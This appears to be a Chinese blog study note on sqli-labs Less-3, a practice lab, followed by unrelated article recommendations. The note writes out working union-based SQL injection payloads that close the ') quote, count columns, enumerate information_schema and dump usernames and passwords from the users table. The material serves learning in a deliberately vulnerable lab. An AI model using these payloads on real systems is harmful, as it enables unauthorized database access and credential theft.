sqli-labs学习笔记3

less-3

打开靶场

输入id=1

判断注入类型

id=1'

报错了,存在sql注入,

id=1'--+

还是报错的,感觉是闭合符号不一样。

试试')

这里看了源代码

所以输入

id=1')--+

')来闭合前面的(',--+来注释掉后面的').

判断字段数

id = 1') order by 3 --+

回显正常,判断字段数4

id = 1') order by 4 --+

判断回显位

id= -1') union select 1,2,3 --+

得到了2,3的回显位。

爆破数据库名与数据库版本

id= -1') union select 1,database(),version() --+

得到了对应的数据库名称:security

爆破数据库的表名

id=-1 ') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆破users表的字段

id=-1 ') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

得到对应的字段名。

爆破users表中字段的数据

id=-1') union select 1,2,group_concat(username,id,password) from users --+

最后得到完整的数据。

相关推荐
猫咪-952716 分钟前
数据库原理及应用mysql版陈业斌实验一
数据库·oracle
LuiChun21 分钟前
django设置admin的排列顺序,耗3小时【躲坑指南】
数据库·django·sqlite
还鮟28 分钟前
线性代数(期末周救济)--笔记1
笔记·线性代数·机器学习·健康医疗
寻丶幽风28 分钟前
论文阅读笔记——Adapter,AdapterFusion,AdapterDrop
论文阅读·人工智能·笔记·语言模型
李匠202434 分钟前
C++学习之QT中HTTP正则表达式
开发语言·c++·学习
初九之潜龙勿用1 小时前
技术与情感交织的一生 (二)
笔记·印象笔记
maxmaxma1 小时前
LLM之向量数据库Chroma milvus FAISS
数据库·milvus·faiss
JINX的诅咒1 小时前
定点除法器设计与实现:从基础算法到数值优化
笔记·python·算法·架构
夏季疯2 小时前
学习笔记:黑马程序员JavaWeb开发教程(2025.3.21)
java·笔记·学习
UpUpUp……2 小时前
C++继承与组合完结
开发语言·c++·笔记